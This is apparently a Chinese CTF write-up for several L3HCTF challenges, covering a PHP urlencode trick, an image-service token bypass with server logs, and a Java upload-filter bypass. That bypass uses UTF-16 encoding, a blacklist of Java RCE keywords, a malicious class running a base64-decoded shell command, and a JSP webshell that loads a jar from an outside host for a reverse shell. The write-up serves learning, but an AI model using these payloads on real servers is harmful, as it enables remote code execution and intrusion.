easyphp 送分题 发现password没那么短,双击复制一下,然后urlencode
<?php echo urlencode("L3Hpassword" );echo "\n" ;echo urlencode("CTFl3hctf" );?>
接下来发送即可
image-service1 share图片,注册了一下,发现a可以share到b的,然后admin不让注册,也不让share,但是试了一下,发现ADMIN也同样可以share到。。。
image-service2 看了半天,要想读到flag2就需要更改blur参数还有x,但是直接改的话,会说token不存在,所以觉得还是应该看看参数和uuid的关系是啥样的,正好附件里面有docker文件,起一个docker看看,正好学习一下如何弄这个玩意:
参考链接:https://cloud.tencent.com/developer/article/1169085
up 安装组下的容器集合默认的yml的文件名称是当前目录下的docker-compose.yml,如果需要指定: docker-compose -f 文件名 up docker-compose up -d 后台运行不显示日志pwd curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://b81aace9.m.daocloud.io sudo docker-compose -f docker-compose.yml up
需要注意的是,在配置env的时候,需要更改一些参数,踩坑主要也是在loc需要配置为你的服务器ip地址,但是在这里不知道为啥这样也起不了,但是1002的端口可以开启,所以就直接用了,这里确实没想到,其实直接查看docker的日志,看看get那边的值是如何传入的就行了,如何才能做到tooken一致
对比一下
首先我发了两次blur=20的 发现他们的tooken都是一样的,如下所示,当我更改值以后,他们的tooken就发生改变了,可以看到标黄的那段,那么要如何绕过呢,可以看到他经过了一个map处理,猜想这里的map是对里面的值进行计算然后得到一个tooken,那么如果我们可以做到输入blur:[20]在实际中其实又没有这个值,那就可以绕过了
image-service-nginx-1 | 211.97 .128.174 - - [16 /Nov/2021 :09 :59 :50 +0000 ] "GET /get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-" image-service-service-1 | map[blur:[20 ] text:[secret] textsize:[50 ] uuid:[4 bb2c93b-b18f-42f c-97f c-ec5a3afbab64] x1:[200 ] y1:[200 ]] image-service-service-1 | image-service-service-1 | [GIN] 2021 /11 /16 - 09 :59 :50 | 403 | 62.594 µs | 172.18 .0.2 | GET "/get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200" image-service-nginx-1 | 211.97 .128.174 - - [16 /Nov/2021 :10 :05 :42 +0000 ] "GET /get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-" image-service-service-1 | map[blur:[20 ] text:[secret] textsize:[50 ] uuid:[4 bb2c93b-b18f-42f c-97f c-ec5a3afbab64] x1:[200 ] y1:[200 ]] image-service-service-1 | image-service-service-1 | [GIN] 2021 /11 /16 - 10 :05 :42 | 403 | 65.684 µs | 172.18 .0.2 | GET "/get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200" 211.97 .128.174 - - [16 /Nov/2021 :10 :07 :26 +0000 ] "GET /get?blur=0&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=0&y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-" image-service-service-1 | map[blur:[0 ] text:[secret] textsize:[50 ] uuid:[4 bb2c93b-b18f-42f c-97f c-ec5a3afbab64] x1:[0 ] y1:[200 ]] image-service-service-1 | image-service-service-1 | [GIN] 2021 /11 /16 - 10 :07 :26 | 403 | 94.621 µs | 172.18 .0.2 | GET "/get?blur=0&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=0&y1=200" 211.97 .128.174 - - [16 /Nov/2021 :10 :14 :55 +0000 ] "GET /get?blur:[20]%20text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1:[200]%20y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-" image-service-service-1 | map[blur:[20 ] text:[secret] textsize:[50 ] uuid:[4 bb2c93b-b18f-42f c-97f c-ec5a3afbab64] x1:[200 ] y1:[200 ]] image-service-service-1 | image-service-service-1 | [GIN] 2021 /11 /16 - 10 :14 :55 | 403 | 68.117 µs | 172.18 .0.2 | GET "/get?blur:[20]%20text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1:[200]%20y1=200"
可以看到最终的tooken和一开始输入blur20的是一样的,但是tooken没有发生改变,所以最终的payload是
get?blur:[20] text=secret&textsize=50&token=61cb06c63c5fb86303c40f4bfd2ea04aa9d7cf3067f8f886c8b30f4e547bc803&uuid=1293b342-b144-42ec-983d-96fba7c159b9&x1:[200] y1=200
bypass 一开始是文件后缀绕过,直接双写就可以了,问题在于后续正则匹配的绕过,这里提到,不能输入两个连续的字符串
public static boolean checkValidChars (String content) { Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}" ); Matcher matcher = pattern.matcher(content); return matcher.find(); }
一开始是定位这里,看这个getString是否有什么特性,后面是没发现的,只知道他是将其作为string读入
String content = item.getString();
感觉之前的大师傅离成功应该是只有一步之遥了
1.当form中设置method="post" enctype="multipart/form-data"时才能正常上传。 2.commons-fileupload上传中如果form中的参数有中文,此时用item.getString()会出现乱码,必须用item.getString("UTF-8"),UTF-8为编码方式。 原文链接:https://blog.csdn.net/pg_guo/article/details/8753449
通过测试,我们可以发现,他是没有过滤汉字,那么汉字乱码肯定是可以绕过的,那我们就对文本使用其他编码形式,比如说当utf-16的文本,以utf-8的形式打开,那肯定是会变成乱码的,根据这个思路,就可以绕过了,写一个自动化脚本(已经有大师傅写过了)
import requestsdef file_op (filename,filedata ): print("filename: " ,filename) print("filedata: " , filedata) with open(filename,'wb' ) as f: f.write(filedata) r = requests.post('http://123.60.20.221:10001/UploadServlet' , files={"filename" : open(filename, "rb" )}) print(r.text) if "文件上传成功! 文件路径: /usr" in r.text: url = "http://123.60.20.221:10001/" + r.text.replace( "文件上传成功! 文件路径: /usr/local/apache-tomcat-8.5.72/webapps/ROOT/" , "" ) print(url) r = requests.get(url) print(r.text) print(r.content) return r.text if __name__=="__main__" : filename="1.jjspsp" filedata=""" """ .encode('utf-16' ) file_op(filename,filedata)
接下来就是绕过第二个黑名单,里面过滤了很多内容,在寻找绕过方式的时候,看到了很多有意思的方法,决定收藏一下,这里说一下Y4大师傅的解题方法
https://f5.pm/go-61281.html
他的黑名单实在多:
黑名单Runtime、\u、ScriptEngine、newInstance、ProcessBuilder、invoke、File、defineClass、lookup,JdbcRowSetImpl等
然后再次佩服一下大师傅们,太牛了,这里用到的方法是,使用UrlClassLoader与Class.forName在初始化对象时执行命令,首先学习下这两个包
UrlClassLoader:URLClassLoader 可以加载远程类库和本地路径的类库 #其实昨晚在做的时候有看到这个思路,但是当时发现有用到newInstance,所以就没往下继续想了,有点可惜 Class.forName:装载一个类并且对其进行实例化的操作,装载过程中使用到的类加载器是当前类 Class.forName(xxx.xx.xx)返回的是一个类。Class.forName(xxx.xx.xx)的作用是要求JVM查找并加载指定的类,也就是说JVM会执行该类的静态代码段 这里说说自己的理解:class.forname其实就是生成这个类的class
首先写一个恶意类,并打包jar上传服务器,这里在学习一下了,如何创建一个jar包。。。https://www.hangge.com/blog/cache/detail_2750.html
贴一下恶意包的代码:
package com.tlif;import java.io.IOException;import java.io.UncheckedIOException;public class bad_class { static { try { Runtime.getRuntime().exec(new String[]{"bash" ,"-c" ,"echo xxxxx|base64 -d|sh" }); } catch (IOException e){ e.printStackTrace(); } } public static void main (String[] args) {new bad_class();} }
接下来将其打包成jar包上传至服务器(记得配置java环境,不然运行不了) 然后上传访问该jar包的jsp木马
<%@ page import ="java.net.URL" %> <%@ page import ="java.net.URLClassLoader" %> <% URL url = new URL("http://110.42.133.120/l3ctf_bp.jar" ); URLClassLoader ucl = new URLClassLoader(new URL[]{url}); Class.forName("com.tlif.bad_class" ,true ,ucl); %>
接下来访问jsp文件,即可反弹shell
fastjson 比赛的时候看都看没看的一道题,所以贴一下别人的wp收藏一下